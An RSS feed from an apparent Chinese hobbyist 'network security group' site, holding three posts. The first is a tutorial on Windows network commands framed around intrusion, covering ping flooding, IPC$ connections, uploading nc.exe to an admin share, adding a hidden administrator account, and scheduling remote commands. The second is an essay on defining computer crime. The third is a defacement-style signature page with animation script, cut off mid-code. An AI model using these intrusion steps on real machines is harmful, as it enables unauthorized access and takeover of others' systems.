<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
	<title>中国邪影网安组-我们不是黑客，我们只是默默无闻的网络爱好者，在网络上寻找最终的归宿，我们是注定属于网络的！我们将尽我们最大的努力，守护中国网络的安全！！</title>
	<link>https://xieying.wodemo.com/</link>
        <item>
        <title><![CDATA[【邪影教程】当黑客的基本口令【邪影【]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373575]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Fri, 30 Oct 2015 08:09:32 +0800]]></pubDate>
        <description><![CDATA[一，ping 　　 

　　它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧，在DOS窗口中键入：ping /? 回车，。所示的帮助画面。在此，我们只掌握一些基本的很有用的参数就可以了（下同）。 　　 

　　-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。 　　 

　　-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。 　　 

　　-n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。 　　 

　　说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。 　　 

　　下面我们举个例子来说明一下具体用法。 　　 

　　这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 

　　（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix） 

　　至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。 　　 

　　二，nbtstat 　　 

　　该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。 　　 

　　-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。 　　 

　　-A 这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。 

　　-n 列出本地机器的NETBIOS信息。 　　 

　　当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。 　　 

　　三，netstat 

　　这是一个用来查看网络状态的命令，操作简便功能强大。 　　 

　　-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，如图4。 　　 

　　这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。 

　　-r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。

　　四，tracert 

　　跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。如图5。 　　 

　　这里说明数据从本地机器传输到192.168.0.1的机器上，中间没有经过任何中转，说明这两台机器是在同一段局域网内。用法：tracert IP。
五，net 　　 

　　这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车如图6。 

　　在这里，我们重点掌握几个入侵常用的子命令。 　　 

　　net view 　　 

　　使用此命令查看远程主机的所以共享资源。命令格式为net view \\IP。　　 

　　net use 

　　把远程主机的某个共享资源影射为本地盘符，图形界面方便使用，呵呵。命令格式为net use x: \\IP\sharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接（net use $&quot;&gt;\\IP\IPC$ &quot;password&quot; /user:&quot;name&quot;）， 　　 

　　建立了IPC$连接后，呵呵，就可以上传文件了：copy nc.exe $&quot;&gt;\\192.168.0.7\admin$，表示把本地目录下的nc.exe传到远程主机，结合后面要介绍到的其他DOS命令就可以实现入侵了。 　　 

　　net start 

　　使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start servername，如图9，成功启动了telnet服务。 　　 

　　net stop 

　　入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。 　　 

　　net user 

　　查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。下面分别讲解。 

　　1，net user abcd 1234 /add，新建一个用户名为abcd，密码为1234的帐户，默认为user组成员。 

　　2，net user abcd /del，将用户名为abcd的用户删除。 

　　3，net user abcd /active:no，将用户名为abcd的用户禁用。 

　　4，net user abcd /active:yes，激活用户名为abcd的用户。 

　　5，net user abcd，查看用户名为abcd的用户的情况　　 

　　net localgroup 

　　查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。用法：net localgroup groupname username /add。 　　 

　　现在我们把刚才新建的用户abcd加到administrator组里去了，这时候abcd用户已经是超级管理员了，呵呵，你可以再使用net user abcd来查看他的状态，和图10进行比较就可以看出来。但这样太明显了，网管一看用户情况就能漏出破绽，所以这种方法只能对付菜鸟网管，但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员，这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。 　　 

　　net time 

　　这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。用法：net time \\IP。 　　 

　　六，at 　　 

　　这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？）。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。用法：at time command \\computer。 　　 

　　表示在6点55分时，让名称为a-01的计算机开启telnet服务（这里net start telnet即为开启telnet服务的命令）。 　　

　　七，ftp 　　 

　　大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。 

　　首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入“help”来查看帮助（任何DOS命令都可以使用此方法查看其帮助)。 　　 

　　大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。 　　 

　　首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入“open 主机IP ftp端口”回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。 　　 

　　用户名和密码都是ftp，密码是不显示的。当提示**** logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。 　　 

　　接下来就要介绍具体命令的使用方法了。 　　 

　　dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。 

　　cd 进入某个文件夹。 

　　get 下载文件到本地机器。 

　　put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以，呵呵，该怎么 利用就不多说了，大家就自由发挥去吧。 

　　delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。 

　　bye 退出当前连接。 

　　quit 同上。 

　　八，telnet 

　　功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以administrator身份连接了远程机器后，就可以用它来**想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。 　　 

　　然后在提示符下键入open IP回车，这时就出现了登陆窗口，让你输入合法的用户名和密码，这里输入任何密码都是不显示的。 　　 

　　当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。　　 

　　到这里为止，网络DOS命令的介绍就告一段落了，这里介绍的目的只是给菜鸟网管一个印象，让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些，这里只是抛砖引玉，希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助，特别的熟练掌握了一些网络的DOS命令。
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】什么是计算机犯罪【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373574]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Fri, 30 Oct 2015 08:05:48 +0800]]></pubDate>
        <description><![CDATA[什么是计算机犯罪，理论界众说纷纭。各种解释大体可归为广义说、狭义说和折衷说三种。本文在探讨各式概念的基础上，对计算机犯罪概念重新作了界定。
计算机犯罪（Computer　Crime）始于60年代，到了80年代、特别是进入90年代在国内外呈愈演愈烈之势。为了预防和降低计算机犯罪，给计算机犯罪合理的、客观的定性已是当务之急。但在回答“什么是计算机犯罪”的问题上，理论界众说纷纭。大致可分为广义说，狭义说和折衷说三类。
计算机犯罪概念三种观点和缺陷分析

（一）广义说
广义说是根据对计算机与计算机之间关系的认识来界定计算机犯罪。所以也称关系说。较典型的有相关说和滥用说。
相关说认为：计算机犯罪是行为人实施的在主观或客观上涉及到计算机的犯罪。西方国家赞成相关说的有许多。如：美国斯坦福安全研究所高级计算机犯罪研究专家和计算机安全专家唐·B·帕克（Parker）认为：计算机犯罪（Computer　Crime）——指在实施犯罪的过程中直接涉及到计算机。美国总会计学办公室调查联邦政府中计算机犯罪的程度时用了“与计算机有关的犯罪”术语，并将之定义为：故意对政府或个体的私人利益造成损失的行为，这些行为与被实施时所在之系统的设计、使用或操作有关。日本有学者认为：计算机犯罪是指与计算机相关联的一切反社会行为。同样，中国持该观点的也很多。中国政法大学信息技术立法课题组的定义是：“计算机犯罪是指与计算机相关的危害社会并应当处以刑罚的行为。”贾铁军、常艳认为：计算机犯罪（Computer　criminal）是指以某种形式直接或间接地与计算机有关的犯罪行为，是一种危害性极大的新型犯罪。中国台湾有学者认为：凡犯罪行为系透过计算机之使用本身所造成之损害皆属之（计算机犯罪）。笔者以为：相关说将计算机犯罪概念过分扩大化，没有体现出计算机犯罪的特质，如罪犯高超的计算机专业知识和技能、计算机犯罪特有的智能性质等。同时将一些传统的犯罪形式如盗窃计算机等普通的盗窃罪因“与计算机有关”而被纳入到计算机犯罪中去，显然不妥。
滥用说认为计算机犯罪指在使用计算机过程中任何不当的行为。欧洲合作与发展组织认为在自动数据处理过程中，任何非法的、违反职业道德的、未经批准的行为都是计算机犯罪行为。这一定义涵盖了一切非正常自动数据处理的行为，不仅没有将一般违法行为与犯罪行为区别开，而且把违反职业道德行为列为犯罪，显然范围太大。
（二）狭义说
狭义说从涉及计算机的所有犯罪缩小到计算机所侵害的单一权益（如财产权或个人隐私权或计算机资产本身或计算机内存数据等）来界定概念。如瑞典从司法角度在其数据法中对计算机犯罪作了很有限的定义：侵犯个人隐私的行为为计算机犯罪。如未经允许建立和保存计算机私人文档；有关侵犯受保护数据的行为，如非法存取电子数据处理记录或非法修改、删除、录入这种纪录，或准备侵犯数据等。德国学者Sieber认为：计算机犯罪是指所有与电子资料有关之故意而违法之财产破坏行为。中国有学者认为：计算机犯罪是指破坏或者盗窃计算机及其部件或者利用计算机进行贪污、盗窃的行为。这些定义要么没有包括数据诈骗的全部内容或侵犯计算机信息系统的等行为，要么没有将我国《关于维护网络安全和信息安全的决定草案》中规定的利用互联网造谣、诽谤或者发表、传播其他信息，煽动颠覆国家政权、推翻社会主义制度，或者煽动分裂国家、破坏国家统一或利用互联网窃取、泄露国家秘密、情报或者军事秘密；利用互联网煽动民族仇恨、民族歧视，破坏民族团结等严重危害社会的行为列为计算机犯罪。可见定义过窄。
（三）折衷说（或工具对象说）
定义中折衷说占主流。折衷说认为计算机本身是作为犯罪工具或作为犯罪对象出现。在理论界，折衷说主要形成两大派别，即功能性计算机犯罪定义和法定性计算机犯罪定义。
功能性计算机犯罪定义是仅仅以严重的社会危害性来确定概念的。理由是“犯罪未必是违反刑法的或法律范畴之内的行为。”这类定义很多。如“计算机犯罪是行为人以计算机为工具或以计算机资产为攻击对象实施的严重危害社会的行为”；　计算机犯罪是指行为人故意实施在计算机内以资源为对象或以计算机为工具危害计算机产业的正常管理秩序，违反计算机软件保护及信息系统安全保护制度等法规，侵害与计算机有关权利人的利益，以及其它危害社会，情节严重的行为。及“计算机犯罪就是以计算机内在资料为犯罪对象或以计算机为犯罪工具危害计算机系统安全、侵害与计算机有关权利者的利益及其他危害社会的行为。”
这类定义的缺陷是：严重的社会危害性是功能性计算机犯罪定义的核心，但严重危害性的判断标准是什么，不同的认识主体有不同的看法。对标准的争议会形成了各种各样的概念，不利于对计算机犯罪的研究。有学者提出：严重社会危害性的成立，要求同时具备行为的侵害性和与该社会形态主体意志（统治意志）的不相容性。但笔者以为这个不相容性也是较抽象，很难把握的。更何况不相容性是要靠法律法规的规范，从这意义上来说，持不相容观点的学者没有必要再费周折地从功能性角度来给计算机犯罪下定义了。
法定性计算机犯罪定义是根据法律法规的规定来确定概念的。理由是只有刑法规定的才能称其为犯罪，法定性是计算机犯罪的大前提，否则犯罪无从谈起。较典型的是“计算机犯罪是指利用计算机操作所实施的危害计算机信息系统（包括内存数据及程序）安全的犯罪行为。”
这类定义也存在不足：第一，对准计算机犯罪行为和待计算机犯罪行为约束不够。因为现实生活中存在许多准计算机犯罪行为和待计算机犯罪行为，即那些不具有应受刑罚惩罚性因而未被法定为犯罪，却具备严重的社会危害性因而应当作为计算机犯罪来研究的行为以及具有严重的社会危害性，应当法定为计算机犯罪但未被法定为犯罪的行为。各式黑客（Haker）事件许多是青少年所为。按我国刑法中刑事责任年龄的规定来看，许多未达到该年龄，而恰恰是他们中的一些人对网络及计算机信息系统的侵犯给国家造成巨额损失。面对“少年黑客”，我们除了呼吁网络伦理和求助于劳教外别无他法。第二，法定性计算机犯罪带有明显的滞后性。计算机犯罪随科技的发展将出现各种新型的犯罪类型，但法定性计算机犯罪的研究只能从刑事立法角度来设计预防计算机犯罪的对策，这显然带有很大的滞后性。
计算机犯罪概念的重新界定和理由说明

北京大学陈兴良教授认为：规范和事实是我们考察犯罪的双重视角。从规范和事实两个视角对“犯罪”进行分析，提出了一种二元的犯罪理论。陈教授认为，犯罪是刑事法的基石范畴，刑事法是围绕着犯罪而展开的实体或者程序的规范体系。同时，犯罪又是一种社会事实，对于犯罪的考察，局限于规范是片面的，应当透过规范对犯罪进行事实分析。基于以上考虑，笔者认为，所谓计算机犯罪，是指通过计算机非法操作所实施的危害计算机信息系统（包括内存数据及程序）安全以及其他严重危害社会的并应当处以刑罚的行为。理由如下：
1．该概念把握了计算机犯罪的实质特征。
折衷说特别重视计算机本身在犯罪中的地位和作用，但其根本的缺陷是远离了计算机犯罪的实质特征，将计算机的犯罪工具作用与犯罪对象人为地割裂开来。一方面使得计算机犯罪概念无法与某些传统类型犯罪在本质上加以区别，从而显得意义不大；另一方面折衷说定义强调犯罪工具与犯罪对象二重论，有导致工具扩大化和对象扩大的嫌疑，使计算机犯罪似乎无所不包，但仍然没有表述出计算机在计算机犯罪中所处的重要地位和作用。笔者认为计算机犯罪中，计算机本身的不可或缺性和不可替代性和在某种意义上作为犯罪对象出现的特性就是计算机犯罪的实质特征。计算机作为犯罪工具的不可或缺性表明计算机是实施犯罪的唯一工具，通过其他的工具不可能实施或顺利实施此类犯罪并进而构成计算机犯罪，若使用其它的工具也能达到犯罪目的的则不属于计算机犯罪。计算机犯罪中的“犯罪工具作用”和传统犯罪中的“利用计算机犯罪”的本质区别就在于前者的计算机地位是不可替代的。笔者在重新界定的计算犯罪概念时紧紧抓住这个实质特征，从而排除了只要与计算机相关的便是计算机犯罪的广义说计算机犯罪概念，并与传统的犯罪类型区分开来。
2．该概念明确了计算机犯罪侵犯的客体。
计算机犯罪应是指利用计算机操作所实施的危害计算机信息系统安全以及其他必须通过计算机操作所实施的严重危害社会的行为。这样，一方面将通过其它方法侵犯或破坏计算机信息系统或其他严重危害社会行为的罪行排除在计算机犯罪类型之外，如人为地搬动计算机造成数据的丢失或以磁铁消磁方式实施非法毁灭计算机内存数据的行为，这些只能以破坏生产经营罪或故意毁坏财务罪论处；另一方面，明确了计算机犯罪侵犯的客体是计算机信息系统的安全及其他为计算机罪犯所侵害的又为刑法所保护的社会关系。同时计算机犯罪侵犯的客体是由于非法操作引起的，是计算机犯罪的直接原因。
3．克服了功能性计算机犯罪概念的缺陷。
功能性计算机犯罪概念和法定性的计算机犯罪概念两者的外延是交叉的，理论上当两者重合时便是最佳的计算机犯罪概念。“严重社会危害”的行为就是“当处以刑罚”的行为。从动态的刑法学角度来看，社会总是将具有“严重社会危害”的行为进行犯罪化和法定化，使之纳入刑法规范的范畴，虽然在司法实践中是属于理想型的，但作为理论上对概念的界定，将两者重合不失是个较为妥当的方法。同时赋予概念一定的弹性度，顺应计算机犯罪不断涌现的新的类型，举行的九届全国人大常委会第十八次会议上《关于维护网络安全和信息安全的决定草案》说明的原意。
计算机犯罪的侦破

计算机取证设备Data Compass
计算机取证设备Data Compass
由于计算机犯罪的特殊性，要侦破计算机犯罪案件，关键就在于提取计算机犯罪分子遗留的电子证据。而电子证据具有易删除、易篡改、易丢失等特性，为确保电子证据的原始性、真实性、合法性，在电子证据的收集时应采用专业的数据复制备份设备将电子证据文件复制备份，要求数据复制设备需具备只读设计以及自动校准等功能。
目前国内的计算机取证设备不少，包括Data Copy King多功能复制擦除检测一体机（简称DCK硬盘复制机）、Data Compass数据指南针（简称DC）、网警计算机犯罪取证勘察箱等。其中由国家高新技术企业效率源历时三年研发的DCK硬盘复制机不仅硬盘复制速度达到创记录的7GB/min，遥遥领先于其他计算机取证设备，同时该硬盘复制机还具备8GB/min的数据销毁功能，以及硬盘检测、Log日志记录生成、只读口设计等，可自动发现解锁HPA、DCO隐藏数据区，在将嫌疑硬盘中的数据完整复制到目标硬盘的同时，确保取证数据的全面客观。
]]></description>
    </item>
        <item>
        <title><![CDATA[.]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373515]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 18:02:16 +0800]]></pubDate>
        <description><![CDATA[


	
	邪影网安组 雪狼友情检测
	
	
	 
	
	* {
		margin: 0; 
		padding: 0;
		-webkit-box-sizing: border-box;
		-moz-box-sizing: border-box;
		-ms-box-sizing: border-box;
		-o-box-sizing: border-box;
		box-sizing: border-box;
	}
	html, body {
		margin: 0;
		padding: 0;
		font: 16px/1.4 'Lato', sans-serif;
		color: #fefeff;
		-webkit-font-smoothing: antialiased;
		font-smoothing: antialiased;
	}
	body {
		background: rgb(8,5,16);
		-webkit-touch-callout: none;
		-webkit-user-select: none;
		-khtml-user-select: none;
		-moz-user-select: none;
		-ms-user-select: none;
		user-select: none;
	}
	
	h1 {
		font: 2.75em 'Cinzel', serif;
		font-weight: 400;
		letter-spacing: 0.35em;
		text-shadow: 0 0 25px rgba(254,254,255,0.85);
	}
	h2 {
		font: 1.45em 'Cinzel', serif;
		font-weight: 400;
		letter-spacing: 0.5em;
		text-shadow: 0 0 25px rgba(254,254,255,0.85);
		text-transform: lowercase;
	}
	
	[class^="letter"] {
		-webkit-transition: opacity 3s ease;
		-moz-transition: opacity 3s ease;
		transition: opacity 3s ease;
	}
	.letter-0  { transition-delay: 0.2s; }
	.letter-1  { transition-delay: 0.4s; }
	.letter-2  { transition-delay: 0.6s; }
	.letter-3  { transition-delay: 0.8s; }
	.letter-4  { transition-delay: 1.0s; }
	.letter-5  { transition-delay: 1.2s; }
	.letter-6  { transition-delay: 1.4s; }
	.letter-7  { transition-delay: 1.6s; }
	.letter-8  { transition-delay: 1.8s; }
	.letter-9  { transition-delay: 2.0s; }
	.letter-10 { transition-delay: 2.2s; }
	.letter-11 { transition-delay: 2.4s; }
	.letter-12 { transition-delay: 2.6s; }
	.letter-13 { transition-delay: 2.8s; }
	.letter-14 { transition-delay: 3.0s; }
	
	h1, h2 {
		visibility: hidden;
		-webkit-transform: translate3d(0, 0, 0);
		-moz-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0);
	}	
	h1.transition-in,
	h2.transition-in {
		visibility: visible;
	}
	h1 [class^="letter"], 
	h2 [class^="letter"] {
		opacity: 0;
	}
	h1.transition-in [class^="letter"],
	h2.transition-in [class^="letter"] {
		opacity: 1;
	}
	
	#container {
		display: table;
		position: absolute;
		z-index: 20;
		width: 100%;
		height: 100%;
		text-align: center;
		cursor: none;
	}
	#container > div {
		display: table-cell;
		vertical-align: middle;
	}
	#container p {
		position: absolute;
		width: 100%;
		left: 0;
		bottom: 25px;
		font-size: 0.8em;
		letter-spacing: 0.1em;
		font-weight: 300;
		color: #76747a;
		-webkit-font-smoothing: subpixel-antialiased;
		font-smoothing: subpixel-antialiased; 
	}
	#container p strong {
		color: #b3abc5;
	}
	#container p span {
		font-size: 0.75em;
		padding: 0 2px;
	}
	
	#canvas {
		position: absolute;
		z-index: 10;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		cursor: none;
	}
	
	#stats { 
		position: absolute; 
		z-index: 10; 
		left: 10px; 
		top: 10px; 
	}
	
	.dg.ac {
		z-index: 100 !important;
	}
	

	.STYLE1 {
	color: #00FFFF;
	font-weight: bold;
}
    
	
		






	
	雪狼
        梦想的道路少不了质疑和嘲笑
	水不撩不知深浅，人不拼怎知输赢
	攻防无绝对技术无黑白 
	
	 每当夜深人静的时候，总会有一双手在控制在网络 
	
	by 雪狼qq2296888307.没有绝对的利益，只有绝对的利用。
	----------From邪影渗透小组---------- 
	俺是一名小学森,请原谅我的装逼和无知.
        大智若愚、开口便笑，笑天下可笑之人，大肚能容，容天下难容之事。
	








	
	


 
p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Helvetica,Arial,sans-serif;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};



;(function(window) {

	var ctx,
		hue,
		logo,
		form,
		buffer,
		target = {},
		tendrils = [],
		settings = {};
	
	settings.debug = true;
	settings.friction = 0.5;
	settings.trails = 20;
	settings.size = 50;
	settings.dampening = 0.25;
	settings.tension = 0.98;
	
	Math.TWO_PI = Math.PI * 2;
	
	// ========================================================================================
	// Oscillator
	// ----------------------------------------------------------------------------------------
	
	function Oscillator(options) {
		this.init(options || {});
	}
	
	Oscillator.prototype = (function() {
		
		var value = 0;
		
		return {
			
			init: function(options) {
				this.phase = options.phase || 0;
				this.offset = options.offset || 0;
				this.frequency = options.frequency || 0.001;
				this.amplitude = options.amplitude || 1;
			},
			
			update: function() {
				this.phase += this.frequency;
				value = this.offset + Math.sin(this.phase) * this.amplitude;
				return value;
			},
			
			value: function() {
				return value;
			}
		};
			
	})();
	
	// ========================================================================================
	// Tendril
	// ----------------------------------------------------------------------------------------
	
	function Tendril(options) {
		this.init(options || {});
	}
	
	Tendril.prototype = (function() {
		
		function Node() {
			this.x = 0;
			this.y = 0;
			this.vy = 0;
			this.vx = 0;
		}
		
		return {
		
			init: function(options) {
				
				this.spring = options.spring + (Math.random() * 0.1) - 0.05; 
				this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
				this.nodes = [];
				
				for(var i = 0, node; i < settings.size; i++) {
			
					node = new Node();
					node.x = target.x;
					node.y = target.y;
			
					this.nodes.push(node);
				}	
			},
			
			update: function() {
				
				var spring = this.spring,
					node = this.nodes[0];
				
				node.vx += (target.x - node.x) * spring;
				node.vy += (target.y - node.y) * spring;
				
				for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
	
					node = this.nodes[i];
					
					if(i > 0) {
						
						prev = this.nodes[i - 1];
						
						node.vx += (prev.x - node.x) * spring;
						node.vy += (prev.y - node.y) * spring;
						node.vx += prev.vx * settings.dampening;
						node.vy += prev.vy * settings.dampening;
					}
					
					node.vx *= this.friction;
					node.vy *= this.friction;
					node.x += node.vx;
					node.y += node.vy;
					
					spring *= settings.tension;
				}
			},
	
			draw: function() {
			
				var x = this.nodes[0].x, 
					y = this.nodes[0].y,
					a, b;
				
				ctx.beginPath();
				ctx.moveTo(x, y);
				
				for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
					
					a = this.nodes[i];
					b = this.nodes[i + 1];
					x = (a.x + b.x) * 0.5;
					y = (a.y + b.y) * 0.5;
					
					ctx.quadraticCurveTo(a.x, a.y, x, y);
				}
				
				a = this.nodes[i];
				b = this.nodes[i + 1];
				
				ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
				ctx.stroke();
				ctx.closePath();
			}
		};
	
	})();
	
	// ----------------------------------------------------------------------------------------
	
	function init(event) {
	
		document.removeEventListener('mousemove', init);
		document.removeEventListener('touchstart', init);
		
		document.addEventListener('mousemove', mousemove);
		document.addEventListener('touchmove', mousemove);
		document.addEventListener('touchstart', touchstart);
		
		mousemove(event);
		reset();
		loop();
	}
	
	function reset() {
		
		tendrils = [];

		for(var i = 0; i < settings.trails; i++) {
			
			tendrils.push(new Tendril({
				spring: 0.45 + 0.025 * (i / settings.trails)
			}));
		}
	}
	
	function loop() {
		
		if(!ctx.running) return;
	
		ctx.globalCompositeOperation = 'source-over';
		ctx.fillStyle = 'rgba(8,5,16,0.4)';
		ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
		ctx.globalCompositeOperation = 'lighter';
		ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
		ctx.lineWidth = 1;
		
		if(ctx.frame % 60 == 0) {
			console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
		}
		
		for(var i = 0, tendril; i < settings.trails; i++) {
			tendril = tendrils[i];
			tendril.update();
			tendril.draw();
		}
		
		ctx.frame++;
		ctx.stats.update();
		requestAnimFrame(loop);
	}
	
	function resize() {
		ctx.canvas.width = window.innerWidth;
		ctx.canvas.height = window.innerHeight;
	}
	
	function start() {
		if(!ctx.running) {
			ctx.running = true;
			loop();
		}
	}
	
	function stop() {
		ctx.running = false;
	}
	
	function mousemove(event) {
		if(event.touches) {
			target.x = event.touches[0].pageX;
			target.y = event.touches[0].pageY;
		} else {
			target.x = event.clientX
			target.y = event.clientY;
		}
		event.preventDefault();
	}
	
	function touchstart(event) {
		if(event.touches.length == 1) {
			target.x = event.touches[0].pageX;
			target.y = event.touches[0].pageY;
		}
	}
	
	function keyup(event) {
		
		switch(event.keyCode) {
			case 32:
				save();
				break;
			default: 
				// console.log(event.keyCode);
		}
	}
	
	function letters(id) {
	
		var el = document.getElementById(id),
			letters = el.innerHTML.replace('&', '&').split(''),
			heading = '';
		
		for(var i = 0, n = letters.length, letter; i < n; i++) {
			letter = letters[i].replace('&', '&');
			heading += letter.trim() ? '' + letter + '' : '?';
		}
		
		el.innerHTML = heading;
		setTimeout(function() { 
			el.className = 'transition-in';	
		}, (Math.random() * 500) + 500);
	}
	
	function save() {
	
		if(!buffer) {
			
			buffer = document.createElement('canvas');
			buffer.width = screen.availWidth;
			buffer.height = screen.availHeight;
